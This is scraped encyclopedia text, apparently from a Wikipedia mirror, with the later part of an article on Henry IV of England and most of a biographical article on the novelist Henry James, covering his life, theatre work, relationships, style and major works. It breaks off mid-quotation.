              	[image: ]

              Armorial of Plantagenet
            


            
              	Henry IV
            


            
              	Henry V
            


            
              	 John, Duke of Bedford
            


            
              	 Thomas, Duke of Clarence
            


            
              	 Humphrey, Duke of Gloucester
            

          


          Rebellions continued throughout the first ten years of Henrys reign, including the revolt of Owain Glyndŵr, who declared himself Prince of Wales in 1400, and the rebellion of Henry Percy, 1st Earl of Northumberland. The king's success in putting down these rebellions was due partly to the military ability of his eldest son, Henry, who would later become king, though the son (who had maintained a close relationship with Richard II) managed to seize much effective power from his father in 1410.


          


          Foreign relations


          Early in his reign, Henry hosted the visit of Manuel II Palaiologos, the only Byzantine emperor ever to visit England, from December 1400 to January 1401 at Eltham Palace, with a joust being given in his honour. He also sent monetary support with him upon his departure to aid him against the Ottoman Empire.


          In 1406, English pirates captured the future James I of Scotland off the coast of Flamborough Head as he was going to France. James remained a prisoner of Henry for the rest of Henry's reign.


          


          Final illness and death


          The later years of Henry's reign were marked by serious health problems. He had a stepine disfiguring skin disease, and more seriously suffered acute attacks of some grave illness in June 1405, April 1406, June 1408, during the winter of 140809, December 1412, and then finally a fatal bout in March 1413. Medical historians have long debated the nature of this affliction or afflictions. The skin disease might have been leprosy (which in any case did not mean precisely the same thing as it does to modern medicine), perhaps psoriasis, perhaps a symptom of syphilis, or some other disease. The acute attacks have been given a wide range of explanations, from epilepsy to some form of cardiovascular disease.


          It is said in Holinshed (and taken up in Shakespeare's play) that it was predicted to Henry he would die in Jerusalem. Henry took this to mean that he would die on crusade, but in fact it meant that, in 1413, he died in the Jerusalem Chamber in the house of the Abbot of Westminster. He died with his executor Thomas Langley at his side.


          


          Burial


          Unusually for a King of England, he was buried not at Westminster Abbey but at Canterbury Cathedral, on the north side of what is now the Trinity Chapel as near to the shrine of Thomas Becket as possible. (No other kings are buried in the Cathedral, although his uncle the Black Prince is buried on the opposite, south side of the chapel, also as near the shrine as possible.) Becket's cult was then at its height, as evidenced by the Canterbury Tales by Richard and Henry's court poet Chaucer, and Henry was particularly devoted to it (he was anointed at his coronation with oil supposedly given to Becket by the Virgin Mary, which had then passed to Henry's father). Henry was given an alabaster effigy, alabaster being a valuable English export in the 15th century. His body was well embalmed, as a Victorian exhumation some centuries later established


          



          
            	Edward d. 1382


            	Henry V of England


            	Thomas, Duke of Clarence


            	John, Duke of Bedford


            	Humphrey, Duke of Gloucester


            	Blanche of England ( 1392- 1409) married in 1402 Louis III, Elector Palatine


            	Philippa of England ( 1394- 1430) married in 1406 Eric of Pomerania, king of Denmark, Norway and Sweden.

          


          Mary died in 1394, and in 1403 Henry married Joanna of Navarre, the daughter of Charles d'Evreux, King of Navarre. She was the widow of John IV of Brittany, with whom she had four daughters and four sons, but she and Henry had no children. The fact that in 1399 Henry had four sons from his first marriage was undoubtedly a clinching factor in his acceptance onto the throne. By contrast, Richard II had no children, and Richard's heir-apparent Mortimer was only seven years old.


          


          Shakespeare


          Almost two hundred years afters his death, Henry became the subject of two plays (or one two-part play) by William Shakespeare ( Henry IV, Part 1 and Henry IV, Part 2) as well as featuring prominently in Richard II.


          
            Retrieved from " http://en.wikipedia.org/wiki/Henry_IV_of_England"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Henry James


        
          

          
            
              	Henry James Jr.
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              Henry James in 1890
            


            
              	Born

              	April 15, 1843(1843-04-15)

              New York City
            


            
              	Died

              	February 28, 1916 (aged72)

              London
            


            
              	Occupation

              	Novelist
            


            
              	Genres

              	Novel, Novella, Short Story
            


            
              	Literary movement

              	Realism,

              Psychological Realism
            


            
              	Notable work(s)

              	The Portrait of a Lady

              The Turn of the Screw
            


            
              	
            


            
              	
                
                  
                    Influences
                  


                  
                    
                      	
                        
                          	
                            
                              	Nathaniel Hawthorne

                              Honor de Balzac

                              Ivan Turgenev

                              Guy de Maupassant

                              Gustave Flaubert

                            

                          

                        

                      

                    

                  

                

              
            


            
              	
            


            
              	
                
                  
                    Influenced
                  


                  
                    
                      	
                        
                          	
                            
                              	Edith Wharton

                              Louis Auchincloss

                              Colm Tibn

                              Joyce Carol Oates

                              Tom Stoppard

                            

                          

                        

                      

                    


                    Philip Roth

                    Alan Hollinghurst
                  

                

              
            


            
              	
            


            
              	Official website
            

          


          Henry James, OM ( April 15, 1843(1843-04-15)  February 28, 1916), son of theologian Henry James Sr., brother of the philosopher and psychologist William James and diarist Alice James, was an American-born British author. He is one of the founders and leaders of a school of realism in fiction; the fine art of his writing has led many academics to consider him the greatest master of the novel and novella form. He spent much of his life in England and became a British subject shortly before his death. He is primarily known for a series of major novels in which he portrayed the encounter of America with Europe. His plots centered on personal relationships, the proper exercise of power in such relationships, and other moral questions. His method of writing from the point of view of a character within a tale allowed him to explore the phenomena of consciousness and perception, and his style in later works has been compared to impressionist painting.


          James insisted that writers in Great Britain and America should be allowed the greatest freedom possible in presenting their view of the world, as French authors were. His imaginative use of point of view, interior monologue and unreliable narrators in his own novels and tales brought a new depth and interest to realistic fiction, and foreshadowed the modernist work of the twentieth century. An extraordinarily productive writer, in addition to his voluminous works of fiction he published articles and books of travel writing, biography, autobiography, and criticism, and wrote plays, some of which were performed during his lifetime with moderate success. His theatrical work is thought to have profoundly influenced his later novels and tales.


          


          Life
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          Henry James was born on April 15, 1843 in New York City into a wealthy family. His father, Henry James Sr. was one of the best-known intellectuals in mid-nineteenth-century America. In his youth James traveled back and forth between Europe and America. He studied with tutors in Geneva, London, Paris, Bologna and Bonn. At the age of 19 he briefly attended Harvard Law School, but preferred reading literature to studying law. James published his first short story, "A Tragedy of Errors" two years later, and devoted himself to literature. In 1866-69 and 1871-72 he was a contributor to the Nation and Atlantic Monthly.


          From an early age James had read the classics of English, American, French and German literature and Russian classics in translation. His first novel, Watch And Ward (1871), was written while he was traveling through Venice and Paris. After living in Paris, where he was contributor to the New York Tribune, James moved to England, living first in London and then in Rye, Sussex. During his first years in Europe James wrote novels that portrayed Americans living abroad. In 1905 James visited America for the first time in twenty-five years, and wrote "Jolly Corner".


          Among James' masterpieces are "Daisy Miller" (1879), where the young and innocent American, Daisy finds her values in conflict with European sophistication and The Portrait Of A Lady (1881) where again a young American woman becomes a victim of her provincialism during her travels in Europe. The Bostonians (1886) was set in the era of the rising feminist movement. What Maisie Knew (1897) depicted a preadolescent young girl, who must chose between her parents and a motherly old governess. In The Wings Of The Dove (1902) a heritage destroys the love of a young couple. James considered The Ambassadors (1903) his most "perfect" work of art. James's most famous short story must be "The Turn of the Screw", a ghost story in which the question of childhood corruption obsesses a governess. Although James is best known for his novels, his essays are now attracting a more general audience.


          Between 1906 and 1910 James revised many of his tales and novels for the New York edition of his complete works. His autobiography, A Small Boy And Others, appeared in 1913 and was continued in Notes Of A Son And Brother (1914). The third volume, The Middle Years, appeared posthumously in 1917. The outbreak of World War I was a shock for James and in 1915 he became a British citizen as a declaration of loyalty to his adopted country and in protest against the US's refusal to enter the war. James suffered a stroke on December 2, 1915. He died three months later in London on February 28, 1916. He was cremated at Golders Green Crematorium and his ashes are interred at Cambridge, Massachusetts.


          


          Career in Letters


          James early formed the ambition of pursuing a career as a man of letters. His first published work was a review of a stage performance, "Miss Maggie Mitchell in Fanchon the Cricket," published in 1863, that reflected a life-long interest in the actor's art. From an early age James read, criticized, and learned from the classics of English, American, French, Italian, German and (in translation) Russian literature. In 1863, he anonymously published his first short story, A Tragedy of Error. Until his fiftieth year he supported himself by writing, principally by contributing extensively to illustrated monthly magazines in the United States and Great Britain, but after his sister's death in 1892 his royalties were supplemented by a modest income from the family's properties in Syracuse, New York. Until late in life his novels were serialized in magazines before book publication, and he wrote the monthly installments as they were due, allowing him little opportunity to revise the final work. To supplement his income he also wrote frequently for newspapers, and from 1863 to his death he maintained a strenuous schedule of publication in a variety of genres and media. In his criticism of fiction, the theatre, and painting he developed ideas concerning the unity of the arts; he wrote two full-length biographies, two volumes of memoirs of his childhood and a long fragment of autobiography; 22 novels, including two left unfinished at his death, 112 tales of varying lengths, fifteen plays, and dozens of travel and topical essays. Biographers and critics have identified Henrik Ibsen, Nathaniel Hawthorne, Honor de Balzac, and Ivan Turgenev as important influences. He heavily revised his major novels and many of his stories for a selected edition of his fiction, whose twenty-three volumes formed an artistic autobiography which he called "The New York Edition" to emphasize his continuing ties to the city of his birth. In his essay The Art of Fiction, and in prefaces to each volume of The New York Edition, James explained his views of the art of fiction, emphasizing the importance to him of realist portrayals of character as seen through the eyes and thoughts of an embodied narrator.


          At several points in his career James wrote plays, beginning with one-act plays written for periodicals in 1869 and 1871 and a dramatization of his popular story " Daisy Miller" in 1882. From 1890 to 1892, he made a concerted effort to succeed commercially on the London stage, writing a half-dozen plays of which only one, a dramatization of his novel The American, was produced. This play was performed for several years by a touring repertory company, and had a respectable run in London, but did not earn very much money for James. His other plays written at this time were not produced. The effort was made avowedly to improve his finances, and after his sister Alice's death in 1892, as he had a modest independent income, he halted his theatrical efforts. In 1893, however, he responded to a request from actor-manager George Alexander for a serious play for the opening of his renovated St. James's Theatre, and James wrote a long drama, " Guy Domville", which Alexander produced. There was a noisy uproar on the opening night, January 5, 1895, with hissing from the gallery when James took his bow after the final curtain, and the author was considerably upset. The incident was not repeated, the play received good reviews, and had a modest run of five weeks and was then taken off to make way for Oscar Wilde's "The Importance of Being Earnest", which Alexander thought would have better prospects for the coming Season. After the stresses and disappointment of this effort James insisted that he would write no more for the theatre, but within weeks had agreed to write a curtain-raiser for Ellen Terry. This became the one-act " Summersoft", which he later rewrote into a short story, " Covering End", and then expanded into a full-length play, " The High Bid", which had a brief run in London in 1907, when James made another concerted effort to write for the stage. He wrote three new plays, two of these were in production when the death of Edward VII May 6, 1910 plunged London into mourning and the theaters were closed. Discouraged by failing health and the stresses of theatrical work, James did not renew his efforts in the theatre, but recycled his plays as successful novels. The Outcry was a best-seller in the United States when it was published in 1911. During the years 1890-1893 when he was most engaged with the theatre, James wrote a good deal of theatrical criticism and assisted Elizabeth Robins and others in translating and producing Henrik Ibsen for the first time on the London stage.


          Biographer Leon Edel was the first to call attention to the importance of the "theatrical years" 1890-1895 for James's later work. Following the commercial failure of his novel The Tragic Muse, in 1890, James renounced novel writing and dedicated himself to short fiction and plays, which he described as related forms. Between 1890 and 1895, he sketched in his notebooks plots and themes of nearly all his later novels, which he first conceived as short stories or plays. The structure of his late novels was "scenic" in James's special sense, in that they followed the scene-by-scene structure of a French play in the classical mode, and he freely translated short stories into plays and vice versa. The use of an observer's consciousness and the sense of the action as a performance became most marked in James's fiction in and after the 1890s. Failing to make a commercial success on the stage, however, and finding that the stresses of theatrical work were difficult for him to sustain, he returned to the writing of long, serialized novels, which again became the mainstay of his income. With his new private income as well, he was able to maintain a country house and rooms in London.


          Leon Edel argued in his psychoanalytic biography that James was deeply traumatized by the opening night uproar that greeted "Guy Domville", and that it plunged him into a prolonged depression. The successful later novels, in Edel's view, were the result of a kind of self-analysis, expressed in James's fiction, which partly freed him from his fears. Other biographers and scholars have not accepted this account, however; the more common view being that of F.O. Matthiessen, who wrote: "Instead of being crushed by the collapse of his hopes [for the theatre]. . . he felt a resurgence of new energy."


          James returned to the United States in 1904-1905 for a lecture tour to recoup his finances and to visit his family. His essays describing that visit, published as The American Scene, were perhaps his most important work of social commentary. In them he described the rise of commerce and democracy, the impact of free immigration on American culture, and his agonized sense that his deeply felt American nationality was threatened by these upheavals.


          


          Psychological characterizations
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          James never married, and after settling in London proclaimed himself "a bachelor" and regularly rejected suggestions that he marry. After his death, critics speculated on the cause of his bachelorhood. F. W. Dupee, in several well-regarded volumes on the James family, originated the theory that James had been in love with his cousin Mary ("Minnie") Temple, but that a neurotic fear of sex kept him from admitting such affections: "James invalidism . . . was itself the symptom of some fear of or scruple against sexual love on his part." Dupee used an episode from James's memoir A Small Boy and Others, recounting a dream of a Napoleonic images in the Louvre, to exemplify James's romanticism about Europe, a Napoleonic fantasy into which he fled.This analysis seemed to support literary critics like Van Wyck Brooks and Vernon Parrington who had condemned James's expatriation, and who criticized his work as effeminate and deracinated. Leon Edel used it as the premise of his own masterly biography, which held the field for many years. Dupee had not been given access to the James family papers, however, and had worked principally from James's published memoir of his older brother, and the limited collection of letters edited by Percy Lubbock, which was heavily weighted toward James's last years. Dupee's account, perhaps as a result, portrayed James as a man moving directly from childhood, when he trailed after his older brother, to an elderly invalidism.


          As more material became available to scholars, including the diaries of contemporaries and hundreds of affectionate and sometimes erotic letters written by James to younger men, the picture of neurotic celibacy gave way to a portrait of a closeted homosexual. As author Terry Eagleton has stated, "...gay critics debate exactly how repressed his (probable) homosexuality was..."James's letters to expatriate American sculptor Hendrik Christian Andersen have attracted particular attention. James met the 27-year-old Andersen in Rome in 1899, when James himself was 56, and appears to have fallen in love, resulting in letters to Andersen that are intensely emotional: "I hold you, dearest boy, in my innermost love, & count on your feeling mein every throb of your soul". In a letter of May 6, 1904 to his brother William, James referred to himself as "always your hopelessly celibate even though sexagenarian Henry". How accurate that description might have been is the subject of contention among James's biographers, but the letters to Andersen were occasionally quasi-erotic: "I put, my dear boy, my arm around you, & feel the pulsation, thereby, as it were, of our excellent future & your admirable endowment." To his homosexual friend Howard Overing Sturgis, James could write: "I repeat, almost to indiscretion, that I could live with you. Meanwhile I can only try to live without you," and it is only in letters to young gay men that James refers to himself as their "lover". To young men who are now thought to have been homosexual or bisexual, who made up a large fraction of his close male friends, James wrote heavily erotic messages before and after their over-night visits to Lamb House. In a letter to Howard Sturgis, for instance, following a long visit, James refers jocularly to their "happy little congress of two". In letters to Hugh Walpole, James pursues involved jokes and puns about their relationship, referring to himself as an elephant who "paws you oh so benevolently" and winds about Walpole his "well meaning old trunk". The privately printed letters to Walter Berry have long been celebrated for their lightly veiled eroticism.


          James was capable of equally emotional language in letters to his female friends, although without the erotic undertones. Thus he wrote to fellow-novelist Lucy Clifford: "Dearest Lucy! What shall I say? when I love you so very, very much, and see you nine times for once that I see Others! Therefore I think thatif you want it made clear to the meanest intelligenceI love you more than I love Others." In another example he wrote to his New York friend Mary Cadwalader Jones:


          
            
              	

              	Dearest Mary Cadwalader. I yearn over you, but I yearn in vain; & your long silence really breaks my heart, mystifies, depresses, almost alarms me, to the point even of making me wonder if poor unconscious & doting old Climare [Jones' pet name for James] has "done" anything, in some dark somnambulism of the spirit, which has...given you a bad moment, or a wrong impression, or a "colourable pretext"...However these things may be, he loves you as tenderly as ever; nothing, to the end of time, will ever detach him from you, & he remembers those Eleventh St. matutional intimes hours, those telephonic matines, as the most romantic of his life...

              	
            

          


          His long friendship with American novelist Constance Fenimore Woolson, in whose house he lived for a number of weeks in Italy in 1887, and his shock and grief over her suicide in 1894, are discussed in detail in Leon Edel's biography and play a central role in a study by Lyndall Gordon. Edel conjectured that Woolson was in love with James and killed herself in part because of his coldness. Gordon builds on Edel's account and adds her own speculation that James felt guilt at having sabotaged Woolson's work. Woolson's biographers have strongly objected to Edel's account, however,, and have generally portrayed James as a friend who advanced Woolson's career. Novick in his more recent account argues that the available evidence shows that James suffered strong emotions prompted by the apparent suicide of a friend and colleague, but that there is no evidence Woolson was in love with him or that he was the cause of her death.


          


          Style and themes
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          James is one of the major figures of trans-Atlantic literature. His works frequently juxtapose characters from the Old World (Europe), embodying a feudal civilization that is beautiful, often corrupt, and alluring, and from the New World (United States), where people are often brash, open, and assertive and embody the virtues -- freedom and a more highly evolved moral character -- of the new American society. James explores this clash of personalities and cultures, in stories of personal relationships in which power is exercised well or badly. His protagonists were often young American women facing oppression or abuse, and as his secretary Theodora Bosanquet remarked in her monograph Henry James at Work:


          
            
              	

              	When he walked out of the refuge of his study and into the world and looked around him, he saw a place of torment, where creatures of prey perpetually thrust their claws into the quivering flesh of doomed, defenseless children of light His novels are a repeated exposure of this wickedness, a reiterated and passionate plea for the fullest freedom of development, unimperiled by reckless and barbarous stupidity.

              	
            

          


          Critics have jokingly described three phases in the development of James's prose: "James the First, James the Second, and The Old Pretender" and observers do often group his works of fiction into three periods. In his apprentice years, culminating with the masterwork The Portrait of a Lady, his style was simple and direct (by the standards of Victorian magazine writing) and he experimented widely with forms and methods, generally narrating from a conventionally omniscient point of view. Plots generally concern romance, except for the three big novels of social commentary that conclude this period. In the second period, as noted above, he abandoned the serialized novel and from 1890 to about 1897, he wrote short stories and plays. Finally, in his third and last period he returned to the long, serialized novel. Beginning in the second period, but most noticeably in the third, he increasingly abandoned direct statement in favour of frequent double negatives, and complex descriptive imagery. Single paragraphs began to run for page after page, in which an initial noun would be succeeded by pronouns surrounded by clouds of adjectives and prepositional clauses, far from their original referents, and verbs would be deferred and then preceded by a series of adverbs. The overall effect could be a vivid evocation of a scene as perceived by a sensitive observer. In its intense focus on the consciousness of his major characters, James's later work foreshadows extensive developments in 20th century fiction. Then and later many readers find the late style difficult and unnecessary; his friend Edith Wharton, who admired him greatly, said that there were passages in his work that were all but incomprehensible. H.G. Wells harshly portrayed James as a hippopotamus laboriously attempting to pick up a pea that has got into a corner of its cage. Some critics have claimed that the more elaborate manner was a result of James taking up the practice of dictating to a secretary. He was afflicted with a stutter and compensated by speaking slowly and deliberately. The late style does become more difficult in the years when he dictates, but James also was able to revise typewritten drafts more extensively, and his few surviving drafts show that the later works are more heavily revised and redrafted. In some cases this leads critics to prefer the earlier, unrevised versions of some works because the older style is thought to be closer to the original conception and spirit of the work, Daisy Miller being a case in point: most of the current reprints of this novel contain the unrevised text. On the other hand, the late revision of the early novel The Portrait of a Lady is generally much preferred to the first edition, even by those who dislike the late style, because of the power of the imagery and the depth of characterization, while his shorter late fiction, such as The Turn of the Screw, is considered highly accessible and remains popular with readers.


          More important for his work overall may have been his position as an expatriate, and in other ways an outsider, living in Europe. While he came from middle-class and provincial belongings (seen from the perspective of European polite society) he worked very hard to gain access to all levels of society, and the settings of his fiction range from working class to aristocratic, and often describe the efforts of middle-class Americans to make their way in European capitals. He confessed he got some of his best story ideas from gossip at the dinner table or at country house weekends. He worked for a living, however, and lacked the experiences of select schools, university, and army service, the common bonds of masculine society. He was furthermore a man whose tastes and interests were, according to the prevailing standards of Victorian era Anglo-American culture, rather feminine, and who was shadowed by the cloud of prejudice that then and later accompanied suspicions of his homosexuality.. Edmund Wilson famously compared James's objectivity to Shakespeare's:


          
            
              	

              	One would be in a position to appreciate James better if one compared him with the dramatists of the seventeenth century Racine and Molire, whom he resembles in form as well as in point of view, and even Shakespeare, when allowances are made for the most extreme differences in subject and form. These poets are not, like Dickens and Hardy, writers of melodrama  either humorous or pessimistic, nor secretaries of society like Balzac, nor prophets like Tolstoy: they are occupied simply with the presentation of conflicts of moral character, which they do not concern themselves about softening or averting. They do not indict society for these situations: they regard them as universal and inevitable. They do not even blame God for allowing them: they accept them as the conditions of life.

              	
            

          


          It is also possible to see many of James's stories as psychological thought-experiments. The Portrait of a Lady may be an experiment to see what happens when an idealistic young woman suddenly becomes very rich. In many of his tales, characters seem to exemplify alternate futures and possibilities, as most markedly in " The Jolly Corner", in which the protagonist and a ghost-doppelganger live alternate American and European lives; and in others, like The Ambassadors, an older James seems fondly to regard his own younger self facing a crucial moment.


          


          Major novels
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          Although any selection of James's novels as "major" must inevitably depend to some extent on personal preference, the following books have achieved prominence among his works in the views of many critics.


          The first period of James's fiction, usually considered to have culminated in The Portrait of a Lady, concentrated on the contrast between Europe and America. The style of these novels is generally straightforward and, though personally characteristic, well within the norms of 19th century fiction. Roderick Hudson (1875) is a Knstlerroman that traces the development of the title character, an extremely talented sculptor. Although the book shows some signs of immaturitythis was James's first serious attempt at a full-length novel  it has attracted favorable comment due to the vivid realization of the three major characters: Roderick Hudson, superbly gifted but unstable and unreliable; Rowland Mallet, Roderick's limited but much more mature friend and patron; and Christina Light, one of James's most enchanting and maddening femmes fatale. The pair of Hudson and Mallet has been seen as representing the two sides of James's own nature: the wildly imaginative artist and the brooding conscientious mentor.


          Although Roderick Hudson featured mostly American characters in a European setting, James made the EuropeAmerica contrast even more explicit in his next novel. In fact, the contrast could be considered the leading theme of The American (1877). This book is a combination of social comedy and melodrama concerning the adventures and misadventures of Christopher Newman, an essentially good-hearted but rather gauche American businessman on his first tour of Europe. Newman is looking for a world different from the simple, harsh realities of 19th century American business. He encounters both the beauty and the ugliness of Europe, and learns not to take either for granted.


          James did not set all of his novels in Europe or focus exclusively on the contrast between the New World and the Old. Set in New York City, Washington Square (1880) is a deceptively simple tragicomedy that recounts the conflict between a dull but sweet daughter and her brilliant, domineering father. The book is often compared to Jane Austen's work for the clarity and grace of its prose and its intense focus on family relationships. James was not particularly enthusiastic about Jane Austen, so he might not have regarded the comparison as flattering. In fact, James was not enthusiastic about Washington Square itself. He tried to read it over for inclusion in the New York Edition of his fiction (190709) but found that he could not. So he excluded the novel from the edition. But other readers have enjoyed the book enough to make it one of the more popular works in the entire Jamesian canon.


          In The Portrait of a Lady (1881) James concluded the first phase of his career with a novel that remains to this day his most popular long fiction, if the Amazon.com sales rankings are any indication. This impressive achievement is the story of a spirited young American woman, Isabel Archer, who "affronts her destiny" and finds it overwhelming. She inherits a large amount of money and subsequently becomes the victim of Machiavellian scheming by two American expatriates. The narrative is set mainly in Europe, especially in England and Italy. Generally regarded as the masterpiece of his early phase, The Portrait of a Lady is not just a reflection of James's absorbing interest in the differences between the New World and the Old, but a profound meditation on the themes of personal freedom, moral responsibility, betrayal, and sexuality.


          In the 1880s James began to explore new areas of interest besides the EuropeAmerica contrast and the "American girl". In particular, he began writing on explicitly political themes. The Bostonians (1886) is a bittersweet tragicomedy that centers on an odd triangle of characters: Basil Ransom, an unbending political conservative from Mississippi; Olive Chancellor, Ransom's cousin and a zealous Boston feminist; and Verena Tarrant, a pretty protege of Olive's in the feminist movement. The story line concerns the contest between Ransom and Olive for Verena's allegiance and affection, though the novel also includes a wide panorama of political activists, newspaper people, and quirky eccentrics.


          The political theme turned darker in The Princess Casamassima (1886), the story of an intelligent but confused young London bookbinder, Hyacinth Robinson, who becomes involved in far left politics and a terrorist assassination plot. The book is something of a lone sport in the Jamesian canon for dealing with such a violent political subject. But it is often paired with The Bostonians, which is concerned with political issues in a less tragic manner.


          Just as James was beginning his ultimately disastrous attempt to conquer the stage, he wrote The Tragic Muse (1890). This novel offers a wide, cheerful panorama of English life and follows the fortunes of two would-be artists: Nick Dormer, who vacillates between a political career and his efforts to become a painter, and Miriam Rooth, an actress striving for artistic and commercial success. A huge cast of supporting characters help and hinder their pursuits. The book reflects James's consuming interest in the theatre and is often considered to mark the close of the second or middle phase of his career in the novel.


          After the failure of his "dramatic experiment" James returned to his fiction with a deeper, more incisive approach. He began to probe his characters' consciousness in a more insightful manner, which had been foreshadowed in such passages as Chapter 42 of The Portrait of a Lady. His style also started to grow in complexity to reflect the greater depth of his analysis. The Spoils of Poynton (1897), considered the first example of this final phase, is a half-length novel that describes the struggle between Mrs. Gereth, a widow of impeccable taste and iron will, and her son Owen over a houseful of precious antique furniture. The story is largely told from the viewpoint of Fleda Vetch, a young woman in love with Owen but sympathetic to Mrs Gereth's anguish over losing the antiques she patiently collected.


          James continued the more involved, psychological approach to his fiction with What Maisie Knew (1897), the story of the sensitive daughter of divorced and irresponsible parents. The novel has great contemporary relevance as an unflinching account of a wildly dysfunctional family. The book is also a notable technical achievement by James, as it follows the title character from earliest childhood to precocious maturity.


          The third period of James's career reached its most significant achievement in three novels published just after the turn of the century. Critic F. O. Matthiessen called this "trilogy" James's major phase, and these novels have certainly received intense critical study. Although it was the second-written of the books, The Wings of the Dove (1902) was the first published. This novel tells the story of Milly Theale, an American heiress stricken with a serious disease, and her impact on the people around her. Some of these people befriend Milly with honorable motives, while others are more self-interested. James stated in his autobiographical books that Milly was based on Minny Temple, his beloved cousin who died at an early age of tuberculosis. He said that he attempted in the novel to wrap her memory in the "beauty and dignity of art".


          The next published of the three novels, The Ambassadors (1903), is a dark comedy that follows the trip of protagonist Lewis Lambert Strether to Europe in pursuit of his widowed fiance's supposedly wayward son. Strether is to bring the young man back to the family business, but he encounters unexpected complications. The third-person narrative is told exclusively from Strether's point of view. In his preface to the New York Edition text of the novel, James placed this book at the top of his achievements, which has occasioned some critical disagreement. The Golden Bowl (1904) is a complex, intense study of marriage and adultery that completes the "major phase" and, essentially, James's career in the novel. The book explores the tangle of interrelationships between a father and daughter and their respective spouses. The novel focuses deeply and almost exclusively on the consciousness of the central characters, with sometimes obsessive detail and powerful insight.


          


          Shorter narratives
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          James was particularly interested in what he called the "beautiful and blest nouvelle", or the longer form of short narrative. Still, he produced a number of very short stories in which he achieved notable compression of sometimes complex subjects. The following narratives are representative of James's achievement in the shorter forms of fiction.


          Just as the contrast between Europe and America was a predominant theme in James's early novels, many of his first tales also explored the clash between the Old World and the New. In " A Passionate Pilgrim" (1871), the earliest fiction that James included in the New York Edition, the difference between America and Europe erupts into open conflict, which leads to a sadly ironic ending. The story's technique still seems somewhat inexpert, with passages of local colour description occasionally interrupting the flow of the narrative. But James manages to craft an interesting and believable example of what he would call the "Americano-European legend".


          James published many stories before what would prove to be his greatest success with the readers of his time, " Daisy Miller" (1878). This story portrays the confused courtship of the title character, a free-spirited American girl, by Winterbourne, a compatriot of hers with much more sophistication. His pursuit of Daisy is hampered by her own flirtatiousness, which is frowned upon by the other expatriates they meet in Switzerland and Italy. Her lack of understanding of the social mores of the society she so desperately wishes to enter ultimately leads to tragedy.


          As James moved on from studies of the Europe-America clash and the American girl in his novels, his shorter works also explored new subjects in the 1880s. " The Aspern Papers" (1888) is one of James's best-known and most acclaimed longer tales. The storyline is based on an anecdote that James heard about a Shelley devotee who tried to obtain some valuable letters written by the poet. Set in a brilliantly described Venice, the story demonstrates James's ability to generate almost unbearable suspense while never neglecting the development of his characters. Another fine example of the middle phase of James's career in short narrative is " The Pupil" (1891), the story of a precocious young boy growing up in a mendacious and dishonorable family. He befriends his tutor, who is the only adult in his life that he can trust. James presents their relationship with sympathy and insight, and the story reaches what some have considered the status of classical tragedy.


          " The Altar of the Dead", first published in James's collection Terminations in 1895 after the story failed of magazine publication, is a fable of literally life and death significance. The story explores how the protagonist tries to keep the remembrance of his dead friends, to save them from being forgotten entirely in the rush of everyday events. He meets a woman who shares his ideals, only to find that the past places what seems to be an impassable barrier between them. Although James was not religious in any conventional sense, the story shows a deep spirituality in its treatment of mortality and the transcendent power of unselfish love.


          The final phase of James's short narratives shows the same characteristics as the final phase of his novels: a more involved style, a deeper psychological approach, and a sharper focus on his central characters. Probably his most popular short narrative among today's readers, " The Turn of the Screw" (1898) is a ghost story that has lent itself well to operatic and film adaptation. With its possibly ambiguous content and powerful narrative technique, the story challenges the reader to determine if the protagonist, an unnamed governess, is correctly reporting events or is instead an unreliable neurotic with an overheated imagination. To further muddy the waters, her written account of the experiencea frame taleis being read many years later at a Christmas house party by someone who claims to have known her.


          " The Beast in the Jungle" (1903) is almost universally considered one of James's finest short narratives, and has often been compared with The Ambassadors in its meditation on experience or the lack of it. The story also treats other universal themes: loneliness, fate, love and death. The parable of John Marcher and his peculiar destiny speaks to anyone who has speculated on the worth and meaning of human life. Among his last efforts in short narrative, " The Jolly Corner" (1908) is usually held to be one of James's best ghost stories. The tale describes the adventures of Spencer Brydon as he prowls the now-empty New York house where he grew up. Brydon encounters a "sensation more complex than had ever before found itself consistent with sanity".


          


          Nonfiction
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          Beyond his fiction, James was one of the more important literary critics in the history of the novel. In his classic essay The Art of Fiction (1884), he argued against rigid proscriptions on the novelist's choice of subject and method of treatment. He maintained that the widest possible freedom in content and approach would help ensure narrative fiction's continued vitality. James wrote many valuable critical articles on other novelists; typical is his insightful book-length study of his American predecessor Nathaniel Hawthorne. When he assembled the New York Edition of his fiction in his final years, James wrote a series of prefaces that subjected his own work to the same searching, occasionally harsh criticism.


          For most of his life James harbored ambitions for success as a playwright. He converted his novel The American into a play that enjoyed modest returns in the early 1890s. In all he wrote about a dozen plays, most of which went unproduced. His costume drama Guy Domville failed disastrously on its opening night in 1895. James then largely abandoned his efforts to conquer the stage and returned to his fiction. In his Notebooks he maintained that his theatrical experiment benefited his novels and tales by helping him dramatize his characters' thoughts and emotions. James produced a small but valuable amount of theatrical criticism, including perceptive appreciations of Henrik Ibsen.


          With his wide-ranging artistic interests, James occasionally wrote on the visual arts. Perhaps his most valuable contribution was his favorable assessment of fellow expatriate John Singer Sargent, a painter whose critical status has improved markedly in recent decades. James also wrote sometimes charming, sometimes brooding articles about various places he visited and lived in. His most famous books of travel writing include Italian Hours (an example of the charming approach) and The American Scene (most definitely on the brooding side).


          James was one of the great letter-writers of any era. More than ten thousand of his personal letters are extant, and over three thousand have been published in a large number of collections. A complete edition of James's letters began publication in 2006 with two volumes covering the 18551872 period, edited by Pierre Walker and Greg Zacharias. James's correspondents included celebrated contemporaries like Robert Louis Stevenson, Edith Wharton and Joseph Conrad, along with many others in his wide circle of friends and acquaintances. The letters range from the "mere twaddle of graciousness" to serious discussions of artistic, social and personal issues. Very late in life James began a series of autobiographical works: A Small Boy and Others, Notes of a Son and Brother, and the unfinished The Middle Years. These books portray the development of a classic observer who was passionately interested in artistic creation but was somewhat reticent about participating fully in the life around him.


          


          Criticism, biographies and fictional treatments
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          James's work has remained steadily popular with the limited audience of educated readers to whom he spoke during his lifetime, and remained firmly in the British canon, but after his death American critics, such as Van Wyck Brooks, expressed hostility towards James's long expatriation and eventual naturalization as a British citizen. Other critics like E.M. Forster complained about what they saw as James's squeamishness in the treatment of sex and other possibly controversial material, or dismissed his style as difficult and obscure, relying heavily on extremely long sentences and excessively latinate language. Vernon Parrington, composing a canon of American literature, condemned James for having cut himself off from America. Although these criticisms have by no means abated completely, James is now widely valued for his psychological and moral realism, his masterful creation of character, his low-key but playful humor, and his assured command of the language. In his 1983 book, The Novels of Henry James, Edward Wagenknecht offers an assessment that echoes Theodora Bosanquet's:


          
            
              	

